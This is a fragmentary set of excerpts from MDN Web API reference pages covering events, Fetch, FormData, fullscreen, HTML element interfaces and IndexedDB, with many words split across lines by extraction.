...he given event will bubble across through the shadow root into the standard dom. use composed instead. methods event.composedpath() returns the event’s path (objects on which listeners will be invoked). this does not include nodes in shadow trees if the shadow root was created with its shadowroot.mode closed. event.preventdefault() cancels the event (if it is cancelable). event.stopi
mmediatepropagation() for this particular event, prevent all other listeners from being called. this includes listeners attached to the same element as well as those attached to elements that will be traversed later (during the capture phase, for instance). event.stoppropagation() stops the propagation of events further along in the dom. deprecated methods event.createevent() creates a ne...
...ed. if the event has already been dispatched, this method does nothing. event.getpreventdefault() returns the value of event.defaultprevented. event.preventbubble() prevents the event from bubbling. use event.stoppropagation instead. event.preventcapture() prevents the event from bubbling. use event.stoppropagation instead. specifications specification status co
mment domthe definition of 'event' in that specification. living standard ...
Fetch basic concepts - Web APIs
e requests. because the main components of http are abstracted as javascript objects, it is easy for other apis to make use of such functionality. service workers is an example of an api that makes heavy use of fetch. fetch takes the asynchronous nature of such requests one step further. the api is completely promise-based. ...
...y promise-based. guard guard is a feature of headers objects, with possible values of i
mmutable, request, request-no-cors, response, or none, depending on where the header is used. when a new headers object is created using the headers() constructor, its guard is set to none (the default). ...
...est or response object is created, it has an associated headers object whose guard is set as su
mmarized below: new object's type creating constructor guard setting of associated headers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods i
mmutable a header's guard affects the set(), delete(), and append() methods which change the header's contents. a typeerror is thrown if you try to modify a headers object whose guard is i
mmutable. however, the operation will work if guard is request and the header name isn't a forbidden header name . guard is request-no-cors and the header name/value is a simple header . guard is respon...
Fetch API - Web APIs
and usage fetch provides a generic definition of request and response objects (and other things involved with network requests). this will allow them to be used wherever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses progra
mmatically (that is, the use of computer program or personal progra
mming instructions). it also defines related concepts such as cors and the http origin header semantics, supplanting their separate definitions elsewhere. for making a request and fetching a resource, use the windoworworkerglobalscope.fetch() method. it is implemented in multiple interfaces, specifically window and workerglobalscop...
...to that request, whether it is successful or not. you can also optionally pass in an init options object as the second argument (see request). once a response is retrieved, there are a number of methods available to define what the body content is and how it should be handled (see body). you can create a request and response directly using the request() and response() constructors, but it's unco
mmon to do this directly. instead, these are more likely to be created as results of other api actions (for example, fetchevent.respondwith() from service workers). differences from jquery the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolv...
...headers, allowing you to query them and take different actions depending on the results. request represents a resource request. response represents the response to a request. fetch mixin body provides methods relating to the body of the response/request, allowing you to declare what its content type is and how it should be handled. specifications specification status co
mment fetch living standard initial definition ...
FileSystemDirectoryEntry - Web APIs
file() returns a filesystemfileentry object representing a file located within the directory's hierarchy, given a path relative to the directory on which the method is called. obsolete methods removerecursively() deletes a directory and all of its contents, including the contents of subdirectories. this has been removed from the spec. specifications specification status co
mment file and directory entries apithe definition of 'filesystemdirectoryentry' in that specification. draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet e...
... full support yesremoverecursively deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it i
mmediately called the error callback with ns_error_dom_security_err.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... nosafari no support nowebview android full support ≤37chrome android full support 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it i
mmediately called the error callback with ns_error_dom_security_err.opera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support ...
FileSystemFileEntry - Web APIs
console.log('write failed: ' + e.tostring()); }; // create a new blob and write it to log.txt. var bb = new blobbuilder(); bb.append('meow'); filewriter.write(bb.getblob('text/plain')); }, errorhandler); }, errorhandler); } window.requestfilesystem(window.temporary, 1024*1024, oninitfs, errorhandler); specifications specification status co
mment file and directory entries apithe definition of 'filesystemfileentry' in that specification. draft draft of proposed api browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgef...
... yesprefixed prefixed implemented with the vendor prefix: webkitcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it i
mmediately called errorcallback with the ns_error_dom_security_err error.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... nosafari no support nowebview android full support ≤37chrome android full support 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it i
mmediately called errorcallback with the ns_error_dom_security_err error.opera android no support nosafari ios no support nosamsung internet android full support yesfilechrome full support 8edge full suppor...
FontFace.display - Web APIs
t. failure period if the font face still is not loaded, the fallback font will be shown and no swap will occur. syntax var display = fontface.display fontface.display = display value a cssomstring with one of the following values. 'auto': use the font display strategy provided by the user agent. 'block': gives the font face a short block period and an infinite swap period. ...
...play value a cssomstring with one of the following values. 'auto': use the font display strategy provided by the user agent. 'block': gives the font face a short block period and an infinite swap period. the spec reco
mmends 3 seconds for the block period, though this may vary from browser to browser. 'fallback': gives the font face a short block period and a short swap period. the spec reco
mmends 100 ms or less for the block period and 3 seconds for the swap period, though these values may vary from browser to browser. 'optional': gives the font face a short block period and no swap period. the spec reco
mmends 100 ms or less, though this may vary from browser to browser. 'swap': gives the font face a 0 second block period and an infinite swap period. specifications speci...
... working draft initial definition. ...
Using FormData Objects - Web APIs
method would use to send the data if the form's encoding type were set to multipart/form-data. creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is i
mmediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file... var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "ht...
...= '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file... var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file. the number assigned to the field "accountnum" is i
mmediately converted into a string by the formdata.append() method (the field's value can be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string). this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data. ...
...an be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string). this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data. the field "webmasterfile" is a blob. a blob object represents a file-like object of i
mmutable, raw data. blobs represent data that isn't necessarily in a javascript-native format. the file interface is based on blob, inheriting blob functionality and expanding it to support files on the user's system. in order to build a blob you can invoke the blob() constructor. retrieving a formdata object from an html form to construct a formdata object that contains the data from an existing ...
Guide to the Fullscreen API - Web APIs
sole explaining why the request failed. in chrome and newer versions of opera however, no such warning is generated. note: fullscreen requests need to be called from within an event handler or otherwise they will be denied. getting out of full screen mode the user always has the ability to exit fullscreen mode of their own accord; see things your users want to know. you can also do so progra
mmatically by calling the document.exitfullscreen() method. other information the document provides some additional information that can be useful when developing fullscreen web applications: documentorshadowroot.fullscreenelement the fullscreenelement property tells you the element that's currently being displayed fullscreen. if this is non-null, the document is in fullscreen mode. if this is...
...g element.requestfullscreen(). if fullscreen mode is already active (fullscreenelement is non-null), we call document.exitfullscreen(). prefixing note: currently, only firefox 64 and chrome 71 supports this unprefixed. for the moment not all browsers are implementing the unprefixed version of the api (for vendor agnostic access to the fullscreen api you can use fscreen). ...
... browser compatibility document.fullscreen the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewch...
GlobalEventHandlers - Web APIs
each of these interfaces can, of course, add more event handlers in addition to the ones listed below. note: globaleventhandlers is a mixin and not an interface; you can't actually create an object of type globaleventhandlers. properties this interface doesn't include any properties except for the event handlers listed below. event handlers these event handlers are defined on the globaleventhandlers mixin, and implemented by htmlelement, document, window, as well as by workerglobalscope for web workers. ...
...sarilty started. globaleventhandlers.ontransitionstart an eventhandler called when a transitionstart event is sent, indicating that a css transition has started transitioning. globaleventhandlers.onwaiting is an eventhandler representing the code to be called when the waiting event is raised. methods this interface defines no methods. specifications specification status co
mment selection apithe definition of 'extension to globaleventhandlers' in that specification. working draft adds onselectionchange. pointer lockthe definition of 'extension of document' in that specification. candidate reco
mmendation adds onpointerlockchange and onpointerlockerror on document. it is experimentally implemented on globaleventhandlers. html l...
...n. candidate reco
mmendation adds onpointerlockchange and onpointerlockerror on document. it is experimentally implemented on globaleventhandlers. html living standardthe definition of 'globaleventhandlers' in that specification. living standard no change since the latest snapshot, html 5.1. html 5.1the definition of 'globaleventhandlers' in that specification. reco
mmendation snapshot of html living standard. added onsort since the html5 snapshot. html5the definition of 'globaleventhandlers' in that specification. reco
mmendation snapshot of html living standard. creation of globaleventhandlers (properties where on the target before it). ...
Gyroscope.Gyroscope() - Web APIs
taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...reading frequency depends device hardware and consequently may be less than requested. referenceframe: either 'device' or 'screen'. the default is 'device'. ...
HTMLAnchorElement - Web APIs
a domstring that reflects the type html attribute, indicating the mime type of the linked resource. htmlhyperlinkelementutils.username is a usvstring containing the username specified before the domain name. obsolete properties htmlanchorelement.charset is a domstring representing the character encoding of the linked resource. htmlanchorelement.coords is a domstring representing a co
mma-separated list of coordinates. htmlanchorelement.name is a domstring representing the anchor name. htmlanchorelement.rev is a domstring representing that the rev html attribute, specifying the relationship of the link object to the target object. note: currently the w3c html 5.2 spec states that rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete.
...tmlhyperlinkelementutils.tostring() returns a usvstring containing the whole url. it is a synonym for htmlhyperlinkelementutils.href, though it can't be used to modify the value. the blur() and focus() methods are inherited from htmlelement from html5 on, but were defined on htmlanchorelement in dom level 2 html and earlier specifications. specifications specification status co
mment html living standardthe definition of 'htmlanchorelement' in that specification. living standard the following property has been added: download. technically, the url-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moved to the htmlhyperlinkelementutils mixin, and htmlanchorelement implements this mixin. html5the defi...
...orelement' in that specification. living standard the following property has been added: download. technically, the url-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moved to the htmlhyperlinkelementutils mixin, and htmlanchorelement implements this mixin. html5the definition of 'htmlanchorelement' in that specification. reco
mmendation the methods blur() and focus(), as well as the properties tabindex and accesskey, are now defined on htmlelement. the following properties are now obsolete: charset, coords, name, rev, and shape. the following properties have been added: hash, host, hostname, media, pathname, port, protocol, rellist, search, and text. document object model (dom) level 2 html specificat...
msAudioCategory - Web APIs
tification sounds that need to attenuate existing audio no backgroundcapablemedia for audio that needs to continue playing in the background. examples include the following local media playback scenarios: local playlist streaming radio streaming playlist music videos streaming audio/radio, youtube, netflix, etc. yes co
mmunications for streaming co
mmunication audio such as the following: voip real time chat or other type of phone calls should not be used in non-real-time or non-co
mmunication scenarios, such as audio and/or video playback, as playback startup latency is affected. *note that if msaudiocategory is set to co
mmunications, msrealtime is automatically set to true. yes ...
... for hardware audio offload to be automatically applied, the audio category must be set to foregroundonlymedia or backgroundcapablemedia. hardware audio offload optimizes audio rendering which can improve fun...
... for hardware audio offload to be automatically applied, the audio category must be set to foregroundonlymedia or backgroundcapablemedia. ...
HTMLAudioElement - Web APIs
z. mozwriteaudio() writes a batch of audio frames to the stream at the current offset, returning the number of bytes actually written to the stream. examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a co
mmon gotcha is trying to play an audio element i
mmediately on page load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more co
mmonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume. this snippet copies the audio file's duration to a variable: v...
... let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. ...
...estor htmlelement. listen to events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. ...
HTMLDetailsElement - Web APIs
dale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...ounting the <su
mmary>) is to be shown to the user. methods no specific method; inherits methods from its parent, htmlelement. events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface. toggle fired when the open/closed state of a <details> element is toggled. specifications specification status co
mment html living standardthe definition of 'htmldetailselement' in that specification. ...
..., htmlelement. ...
HTMLElement: change event - Web APIs
the change event is fired for <input>, <select>, and <textarea> elements when an alteration to the element's value is co
mmitted by the user. unlike the input event, the change event is not necessarily fired for each alteration to an element's value. ...
... the html specifi...
... the html specification lists the <input> types that should fire the change event. ...
HTMLElement.hidden - Web APIs
v> css the content is styled using the css below. ...
...on { font: 22px "open sans", helvetica, arial, sans-serif; padding: 5px 36px; } h1 { margin-top: 0; font-size: 175%; } result specifications specification status co
mment html living standardthe definition of 'htmlelement.hidden' in that specification. ...
...top: 0; font-size: 175%; } result specifications specification status co
mment html living standardthe definition of 'htmlelement.hidden' in that specification. living standard html 5.1the definition of 'htmlelement.hidden' in that specification. ...
HTMLElement - Web APIs
able via the onanimationstart property. input events beforeinput fired when the value of an <input>, <select>, or <textarea> element is about to be modified. input fired when the value of an <input>, <select>, or <textarea> element has been changed. also available via the oninput property. change fired when the value of an <input>, <select>, or <textarea> element has been changed and co
mmitted by the user. unlike the input event, the change event is not necessarily fired for each alteration to an element's value. pointer events gotpointercapture fired when an element captures a pointer using setpointercapture(). also available via the ongotpointercapture property. lostpointercapture fired when a captured pointer is released. also available via the onlostpointercapture pr...
...y. transitionend fired when a css transition has completed. also available via the ontransitionend property. transitionrun fired when a css transition is first created. also available via the ontransitionrun property. transitionstart fired when a css transition has actually started. also available via the ontransitionstart property. specifications specification status co
mment css object model (cssom) view modulethe definition of 'htmlelement' in that specification. working draft added the following properties: offsetparent, offsettop, offsetleft, offsetwidth, and offsetheight. html living standardthe definition of 'htmlelement' in that specification. living standard added the following properties: translate, itemscope, itemtype, it...
...lement' in that specification. living standard added the following properties: translate, itemscope, itemtype, itemid, itemref, itemprop, properties, and itemvalue. added the following method: forcespellcheck(). moved the onxyz attributes to the globaleventhandlers interface and added an inheritance from it. html5the definition of 'htmlelement' in that specification. reco
mmendation added the following properties: dataset, hidden, tabindex, accesskey, accesskeylabel, draggable, dropzone, contenteditable, iscontenteditable, contextmenu, spellcheck, co
mmandtype, co
mmandlabel, co
mmandicon, co
mmandhidden, co
mmanddisabled, co
mmandchecked, style, and all the onxyz properties. moved the id and classname properties to the element interface. document object mo...
HTMLImageElement.complete - Web APIs
consider a photo library app that provides the ability to open images into a lightbox mode for improved viewing as well as editing of the image. these photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the background. ...
...ode for improved viewing as well as editing of the image. these photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the background. but imagine that you have other code that needs to only run when the image has completed loading, such as a co
mmand that performs red-eye removal on the image in the lightbox. while ideally this co
mmand wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure this is the case. so the fixredeyeco
mmand() function, which is called by the button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work. this is demonstrated in the code below. let lightboxelem = document.query...
... async function loadimage(url, elem) { return new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src = url; }); } async function lightbox(url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ... */ function fixredeyeco
mmand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing this until the image is fully loaded */ } } specifications specification status co
mment html living standardthe definition of 'htmlimageelement.complete' in that specification. unknown browser compatib...
HTMLImageElement.src - Web APIs
tax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image. this can be set either within the html itself using the src content attribute, or progra
mmatically by setting the element's src property. if you use the srcset content attribute to provide multiple image options for different display pixel densities, the url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset. as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by s...
...esponding sizes content attribute) and srcset in order to choose an image based on the viewport size, the src attribute is only used as a fallback for browsers that don't support sizes and srcset; otherwise, it's not used at all. examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yu
mmy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fallback for older browsers, or as the 1x size of the image. html result specifying a fallback for viewport-based selection when using viewport-bases selection of an image from a srcset by also specifying the sizes property, the src property serves as the fallback to be...
...llback for viewport-based selection when using viewport-bases selection of an image from a srcset by also specifying the sizes property, the src property serves as the fallback to be used on browsers that don't support viewport-based selection. browsers that do support viewport-based selection will ignore src in this situation. html result specifications specification status co
mment html living standardthe definition of 'htmlimageelement.src' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
HTMLInputElement.setSelectionRange() - Web APIs
rth, and fifth characters in the text box ("zil" in the word "mozilla"). ...
...getelementbyid('text-box'); input.focus(); input.setselectionrange(2, 5); } result specifications specification status co
mment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification. living standard no change html 5.1the definition of 'htmlinputelement.setselectionrange()' in that specification. ...
...tion status co
mment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification. living standard no change html 5.1the definition of 'htmlinputelement.setselectionrange()' in that specification. reco
mmendation no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification. ...
HTMLInputElement.stepDown() - Web APIs
d. the stepdown() method will not allow the input to go out of range, in this case stopping when it reaches 0 and rounding down and floats that are passed as a parameter. try setting the step decrementer to 1.2. what happens when you invoke the method? try setting the value to 44, which is not valid. ...
...ecrementer to 1.2. what happens when you invoke the method? ...
...which is not valid. what happens when you invoke the method? ...
HTMLInputElement.stepUp() - Web APIs
be incremented. the stepup will not allow the input to out of range, in this case stopping when it reaches 400, and rounding down any floats that are passed as a parameter. try setting the step increment to 1.2. what happens when you invoke the method? try setting the value to 4, which is not valid. ...
... step increment to 1.2. what happens when you invoke the method? ...
...to 4, which is not valid. what happens when you invoke the method? ...
HTMLMediaElement.play() - Web APIs
g a "play" button. notsupportederror the media source (which may be specified as a mediastream, mediasource, blob, or file, for example) doesn't represent a supported media format. other exceptions may be reported, depending on browser implementation details, media player implementation, and so forth. usage notes although the term "autoplay" is usually thought of as referring to pages that i
mmediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play(). if the user agent is configured not to allow automatic or script-initiated playback of media, calling play() will cause the returned promise to be i
mmediately rejected with a notallowederror. web sites should be prepared to handle this si...
...erface that assumes playback has begun automatically, but should instead update their ui based on whether the returned promise is resolved or rejected. see the example below for more information. note: the play() method may cause the user to be asked to grant permission to play the media, resulting in a possible delay before the returned promise is resolved. be sure your code doesn't expect an i
mmediate response. for even more in-depth information about autoplay and autoplay blocking, see our article autoplay guide for media and web audio apis. example this example demonstrates how to confirm that playback has begun and how to gracefully handle blocked automatic playback: let videoelem = document.getelementbyid("video"); let playbutton = document.getelementbyid("playbutton"); playbut...
...le is executed, it begins by collecting references to the <video> element as well as the <button> used to toggle playback on and off. it then sets up an event handler for the click event on the play toggle button and attempts to automatically begin playback by calling playvideo(). you can try out or remix this example in real time on glitch. specifications specification status co
mment html living standardthe definition of 'play()' in that specification. living standard initial definition; living specification. html5the definition of 'play()' in that specification. reco
mmendation initial definition. note: the whatwg and w3c versions of the specification differ (as of august, 2018) as to whether this method returns a promise or nothing at...
HTMLMeterElement - Web APIs
the optimum attribute. htmlmeterelement.value a double representing the currrent value, reflecting the value attribute. htmlmeterelement.labelsread only a nodelist of <label> elements that are associated with the element. methods this interface does not implement any specific methods but inherits methods from its parent, htmlelement. ...
...ciated with the element. methods this interface does not implement any specific methods but inherits methods from its parent, htmlelement. specifications specification status co
mment html living standardthe definition of 'htmlmeterelement' in that specification. ...
...ethods from its parent, htmlelement. specifications specification status co
mment html living standardthe definition of 'htmlmeterelement' in that specification. living standard html 5.1the definition of 'htmlmeterelement' in that specification. ...
HTMLOrForeignElement.dataset - Web APIs
02d) followed by an ascii lowercase letter a to z, the dash is removed, and the letter is transformed into its uppercase counterpart; other characters (including other dashes) are left unchanged. camelcase to dash-style conversion the opposite transformation, which maps a key to an attribute name, uses the following rules: restriction: before the transformation, a dash must not be i
mmediately followed by an ascii lowercase letter a to z; the prefix data- is added; any ascii uppercase letter a to z is transformed into a dash, followed by its lowercase counterpart; other characters are left unchanged. the restriction in the rules above ensures that the two transformations are the inverse one of the other. for example, the attribute named data-abc-def corresponds to ...
... r...
... false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status co
mment html living standardthe definition of 'htmlelement.dataset' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.dataset' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.dataset' in that specification. reco
mmendation snapshot of html living standard, initial definition. ...
HTMLOutputElement - Web APIs
d sets the textcontent property to the value of the defaultvalue property. value mode the element goes into value mode when the contents of the value property are set. the value property otherwise behaves like the textcontent property. when the element is in value mode, the default value is accessible only through the defaultvalue property. ...
...ike the textcontent property. when the element is in value mode, the default value is accessible only through the defaultvalue property. specifications specification status co
mment html living standardthe definition of 'htmloutputelement' in that specification. ...
...ugh the defaultvalue property. specifications specification status co
mment html living standardthe definition of 'htmloutputelement' in that specification. living standard html 5.1the definition of 'htmloutputelement' in that specification. ...
HTMLSourceElement - Web APIs
meaning and is ignored when it is nested in a <picture> element. note: if the src property is updated (along with any siblings), the parent htmlmediaelement's load method should be called when done, since <source> elements are not re-scanned automatically. ...
...ored when it is nested in a <picture> element. note: if the src property is updated (along with any siblings), the parent htmlmediaelement's load method should be called when done, since <source> elements are not re-scanned automatically. htmlsourceelement.srcset is a domstring reflecting the srcset html attribute, containing a list of candidate images, separated by a co
mma (',', u+002c co
mma). ...
...by a co
mma (',', u+002c co
mma). a candidate image is a url followed by a 'w' with the width of the images, or an 'x' followed by the pixel density. htmlsourceelement.type is a domstring reflecting the type html attribute, containing the type of the media resource. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status co
mment html living standardthe definition of 'htmlsourceelement' in that specification. living standard ...
Headers - Web APIs
s. you can add to this using methods like append() (see examples.) in all methods of this interface, header names are matched by case-insensitive byte sequence. for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. a headers object also has an associated guard, which takes a value of i
mmutable, request, request-no-cors, response, or none. this affects whether the set(), delete(), and append() methods will mutate the header. for more information see guard. you can retrieve a headers object via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor. an object implementing headers can directly be used in a for..
...rs.set() will overwrite the existing value with the new one, whereas headers.append() will append the new value onto the end of the set of values. see their dedicated pages for example code. note: all of the headers methods will throw a typeerror if you try to pass in a reference to a name that isn't a valid http header name. the mutation operations will throw a typeerror if the header has an i
mmutable guard. in any other failure case they fail silently. note: when header values are iterated over, they are automatically sorted in lexicographical order, and values from duplicate header names are combined. obsolete methods headers.getall() used to return an array of all the values of a header within a headers object with a given name; this method has now been deleted from the spec,...
... living standard ...
IDBCursor.continue() - Web APIs
note: this feature is available in web workers. syntax cursor.continue(key); parameters key optional the key to position the cursor at. ...
...if you'd like to contribute to the data, please check out https://gith...
...document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'continue()' in that specification. reco
mmendation indexed database api draftthe definition of 'continue()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
IDBCursor - Web APIs
...
... ...
...ist.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status co
mment indexed database api 2.0the definition of 'cursor' in that specification. reco
mmendation initial definition indexed database api draftthe definition of 'cursor' in that specification. reco
mmendation added continueprimarykey() and support for binary keys, and the idbcursor.request property. ...
IDBIndex.getAllKeys() - Web APIs
stateerror the idbindex has been deleted or removed. a typeerror exception is thrown if the count parameter is not between 0 and 232-1 included. ...
... if the count parameter is not between 0 and 232-1 included. ...
...equest = myindex.getallkeys(); getallkeysrequest.onsuccess = function() { console.log(getallkeysrequest.result); } specification specification status co
mment indexed database api draftthe definition of 'getall()' in that specification. reco
mmendation initial definition. indexed database api draftthe definition of 'getall()' in that specification. reco
mmendation ...
IDBObjectStore.clear() - Web APIs
this is for deleting all the current data out of an object store. clearing an object store consists of removing all records from the object store and removing all records in indexes that reference the object store. to remove only some of the records in a store, use idbobjectstore.delete passing a key or idbkeyrange. note: this feature is available in web workers. syntax var request = objectstore.clear(); returns an idbrequest object on which subsequent events related to this operation are fired. ...
...if you'd like to contribute to the data, please check out https://github.com/...
...to clear all the data out of the object store var objectstorerequest = objectstore.clear(); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'clear()' in that specification. reco
mmendation indexed database api draftthe definition of 'clear()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
IDBObjectStore - Web APIs
this object store belongs. idbobjectstore.autoincrement read only the value of the auto increment flag for this object store. methods idbobjectstore.add() returns an idbrequest object, and, in a separate thread, creates a structured clone of the value, and stores the cloned value in the object store. this is for adding new records to an object store. idbobjectstore.clear() creates and i
mmediately returns an idbrequest object, and clears this object store in a separate thread. this is for deleting all current records out of an object store. idbobjectstore.count() returns an idbrequest object, and, in a separate thread, returns the total number of records that match the provided key or idbkeyrange. if no arguments are provided, it returns the total number of records in the store. ...
...if you'd like to contribute to the data, please check out https:/...
...tore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status co
mment indexed database api 2.0the definition of 'idbobjectstore' in that specification. reco
mmendation indexed database api draftthe definition of 'idbobjectstore' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet ...
IDBTransaction.abort() - Web APIs
with this transaction. all pending idbrequest objects created during this transaction have their idbrequest.error attribute set to aborterror. note: this feature is available in web workers. syntax transaction.abort(); exceptions this method may raise a domexception of the following type: exception description invalidstateerror the transaction has already been co
mmitted or aborted. example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. at the end, we simply abort any activity done under the current transaction using abort(). for a ...
...if you'd like to contribute to the data, please check out https://github.com/mdn...
...request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status co
mment indexed database api 2.0the definition of 'abort()' in that specification. reco
mmendation indexed database api draftthe definition of 'abort()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explorer...
IDBTransaction.error - Web APIs
/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard. the exact error is one of serveral possibilities. it can be a reference to the same error as the request object that raised it, or a transaction failure (for example quotaexceedederror or unknownerror). this property is null if the transaction is not finished, is finished and successfully co
mmitted, or was aborted with the idbtransaction.abort method. example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. note the transaction.onerror = function(event) { }; block, ma...
...if you'd like to contribute to the data, please check out https://github.com/mdn/br...
...onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'error' in that specification. reco
mmendation indexed database api draftthe definition of 'error' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explorero...
IDBVersionChangeEvent - Web APIs
tion(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...vent) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. this is used a lot later on, for opening transactions and suchlike. ...
